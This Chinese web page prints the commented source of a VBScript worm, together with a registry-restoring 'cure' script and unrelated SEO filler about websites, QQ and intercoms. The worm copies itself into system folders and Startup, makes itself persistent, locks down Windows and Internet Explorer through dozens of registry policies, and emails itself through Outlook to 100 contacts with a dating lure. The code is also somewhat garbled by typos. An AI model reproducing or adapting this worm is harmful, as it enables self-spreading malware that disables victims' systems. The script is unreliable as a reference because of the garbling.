| on error resume next set fs=createobject("ing.filesystemobject" '創建一個能與操作系統溝通的對象,再利用該對象的各種方法對注冊表進行操作 set dir1=fs.getspecialfolder(0) '獲取windows/winnt文件夾位置 set dir2=fs.getspecialfolder(1) '獲取system32/system文件夾位置 set so=createobject("ing.filesystemobject" dim r '定義一個變量 set r=createobject("w.shell" so.getfile(w.fullname).copy(dir1&"/win32system.vbs" '復制病毒副本到windows/winnt文件夾位置 so.getfile(w.fullname).copy(dir2&"/win32system.vbs" '復制病毒副本到system32/system文件夾位置 so.getfile(w.fullname).copy(dir1&"/start menu/programs/啟動/win32system.vbs" '復制病毒副本到start menu啟動菜單 '下面是對注冊表的惡意修改和簡單的依靠oe傳播 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/norun",1,"reg_dword" '修改注冊表，禁止“運行”菜單 r.regwrite "kcu/software/microsoft/windows/currentversion/policies/explorer/noclose",1,"reg_dword" '修改注冊表，禁止“關閉”菜單 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nodrives",63000000,"reg_dword" '修改注冊表，隱藏所有邏輯盤符 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/system/disableregistrytools",1,"reg_dword" '修改注冊表，禁止注冊表編輯 r.regwrite "hklm/software/microsoft/windows/currentversion/run/scanregistry","" '修改注冊表，禁止開機注冊表掃描 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nologoff",1,"reg_dword" '修改注冊表，禁止“注銷”菜單 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/winoldapp/norealmode",1,"reg_dword" '修改注冊表，禁止ms-dos實模式 r.regwrite "hklm/software/microsoft/windows/currentversion/run/win32system","win32system.vbs" '修改注冊表，使這個腳本本身開機自動運行 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nodesktop",1,"reg_dword" '修改注冊表，禁止顯示桌面圖標 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/winoldapp/disabled",1,"reg_dword" '修改注冊表，禁止純dos模式 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nosettaskbar",1,"reg_dword" '修改注冊表，禁止“任務欄和開始”菜單 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/noviewcontextmenu",1,"reg_dword" '修改注冊表，禁止右鍵菜單 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nosetfolders",1,"reg_dword" '修改注冊表，禁止控制面板 r.regwrite "hklm/software/classes/.reg/","txtfile" '修改注冊表，禁止導入使用.reg文件，改為用txt文件的關聯 r.regwrite "hklm/software/microsoft/windows/currentversion/winlogon/legalnoticecaption","警告" '設置開機提示框標題 r.regwrite "hklm/software/microsoft/windows/currentversion/winlogon/legalnoticetext","您中vbs腳本病毒了，哭吧~" '設置開機提示框文本內容 set ol=createobject("outlook.application" '創建outlook文件對象用于傳播 on error resume next for x=1 to 100 set mail=ol.createitem(0) mail.to=ol.getnamespace("mapi".addresslists(1).addressentries(x) '用于向地址簿的前100名發送此 vbs病毒，可以算是簡單弱智的蠕蟲了吧~~ mail.subject="今晚你來嗎？" '郵件主題 mail.body="朋友你好：您的朋友rose給您發來了熱情的邀請。具體情況請閱讀隨信附件，祝您好運！ 同城約會網" '郵件內容 mail.attachments.add(dir2&"win32system.vbs" mail.send next ol.quit '下面是對internet explore 選項的惡意修改 r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nobrowsercontextmenu",1,"reg_dword" '修改注冊表，禁止鼠標右鍵 r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nobrowseroptions",1,"reg_dword" '修改注冊表，禁止internet選項 r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nobrowsersaveas",1,"reg_dword" '修改注冊表，禁止“另存為” r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nofileopen",1,"reg_dword" '修改注冊表，禁止“文件/打開”菜單 r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/advanced",1,"reg_dword" '修改注冊表，禁止更改高級頁設置 r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/cache internet",1,"reg_dword" '修改注冊表，禁止更改臨時文件設置 r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/autoconfig",1,"reg_dword" '修改注冊表，禁止更改自動配置 r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/homepage",1,"reg_dword" '修改注冊表，禁止更改主頁，即“主頁”變灰 r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/history",1,"reg_dword" '修改注冊表，禁止更改歷史記錄設置 r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/connwiz admin lock",1,"reg_dword" '修改注冊表，禁止更改internet連接向導 r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/securitytab",1,"reg_dword" '修改注冊表，禁止更改安全項 r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/resetwebsettings",1,"reg_dword" '修改注冊表，禁止“重置web設置” r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/noviewsource",1,"reg_dword" '修改注冊表，禁止查看源文件 r.regwrite "hkcu/software/policies/microsoft/internet explorer/infodelivery/restrictions/noaddingsubions",1,"reg_dword" '修改注冊表，禁止添加脫機計劃 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nofilemenu",1,"reg_dword" '修改注冊表，禁止“文件”菜單 下面就是“解藥”--恢復文件reset.vbs的源代碼： （由于這里與上面的病毒破壞惡意修改恰好相反，故不做注釋了） set fs=createobject("ing.filesystemobject" set dir1=fs.getspecialfolder(0) set dir2=fs.getspecialfolder(1) set so=createobject("ing.filesystemobject" dim r set r=createobject("w.shell" r.regwrite "hklm/software/microsoft/windows/currentversion/runonce/deltree.exe","start.exe /m deltree /y "&dir1&"/win32system.vbs" r.regwrite "hklm/software/microsoft/windows/currentversion/runonce/deltree.exe","start.exe /m deltree /y "&dir2&"/win32system.vbs" r.regwrite "hklm/software/microsoft/windows/currentversion/runonce/deltree.exe","start.exe /m deltree /y "&dir1&"/start menu/programs/啟動/win32system.vbs" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/norun",0,"reg_dword" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/noclose",0,"reg_dword" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nodrives",0,"reg_dword" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/system/disableregistrytools",0,"reg_dword" r.regwrite "hklm/software/microsoft/windows/currentversion/run/scanregistry","scanregw.exe /autorun" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nologoff",0,"reg_dword" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/winoldapp/norealmode",0,"reg_dword" r.regwrite "hklm/software/microsoft/windows/currentversion/run/win32system","" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nodesktop",0,"reg_dword" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/winoldapp/disabled",0,"reg_dword" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nosettaskbar",0,"reg_dword" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/noviewcontextmenu",0,"reg_dword" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nosetfolders",0,"reg_dword" r.regwrite "hklm/software/microsoft/windows/currentversion/winlogon/legalnoticecaption","" r.regwrite "hklm/software/microsoft/windows/currentversion/winlogon/legalnoticetext","" r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nobrowsercontextmenu",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nobrowseroptions",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nobrowsersaveas",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nofileopen",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/advanced",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/cache internet",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/autoconfig",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/homepage",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/history",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/connwiz admin lock",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/securitytab",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/resetwebsettings",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/noviewsource",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/infodelivery/restrictions/noaddingsubions",0,"reg_dword" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nofilemenu",0,"reg_dword |
本文由 貴州做網站公司 整理發布，部分圖文來源于互聯網，如有侵權，請聯系我們刪除，謝謝！
網絡推廣與網站優化公司（網絡優化與推廣專家）作為數字營銷領域的核心服務提供方，其價值在于通過技術手段與策略規劃幫助企業提升線上曝光度、用戶轉化率及品牌影響力。這...
在當今數字化時代，公司網站已成為企業展示形象、傳遞信息和開展業務的重要平臺。然而，對于許多公司來說，網站建設的價格是一個關鍵考量因素。本文將圍繞“公司網站建設價...
在當今的數字化時代，企業網站已成為企業展示形象、吸引客戶和開展業務的重要平臺。然而，對于許多中小企業來說，高昂的網站建設費用可能會成為其發展的瓶頸。幸運的是，隨...
如何切換qq聊天背景？點開我的炫酷潮流，后再點主體背景，是可以對自己插入圖片以及背景設置手機qq聯系人背景怎么改？系統設置詳細步驟萬分感謝1.將屏幕向右滑動，直接進入個人中心后點擊個性造型。2.直接進入個性裝扮中點擊聊天說話背景色調。3.在去聊天背景設置中與設置中單個的聊天說話背景主界面一樣，此處不再贅述，但類似之處是這處所更改的系統設置是對所有去聊天提示框都管用的。諾基亞手機里怎么設置里一起聊天...
CC英語CC是什么意思？TO: to.(寫信給某某)CC:抄送，意思是給寫信給某人的人送一份，主要是給，但因為其他人也需要了解情況，所以抄送給抄送的人。為什么很多女生網名叫cc？我覺得女生網名cc的意思是純潔的意思。每個女孩都希望自己永遠保持年輕純潔，不被世俗化，能保持生命之初擁有的優秀品質。女生的網名cc就有上面的意思，所以很多女生都愿意給自己的網名取名cc。為什么很多女生網名叫cc？可能性如是...
安居寶可視對講緊急求助一直亮紅燈？紅燈一直亮，說明對講機電池電量不足。一般電子產品都是這樣設計的。紅燈表示電量不足，要趕緊充電?？梢晫χv機家里安裝要不要電？答案是:當然需要電！事實上，無論什么電子產品都需要電力來運行，it 你可以在家里直接插上插頭，用電池中的交流電源或DC電源。室內可視對講機里面有電池嗎？應該沒有，具體操作方法步驟如下:1.這種可視門口機需要安裝一個室外機。首先確定安裝位置，并...
免責聲明：本站內容部分文字和圖片來源于網絡，版權屬于原作者所有，若有冒犯，請聯系我們進行刪除，謝謝。聯系郵箱：1051388971#qq.com （把#換成@）
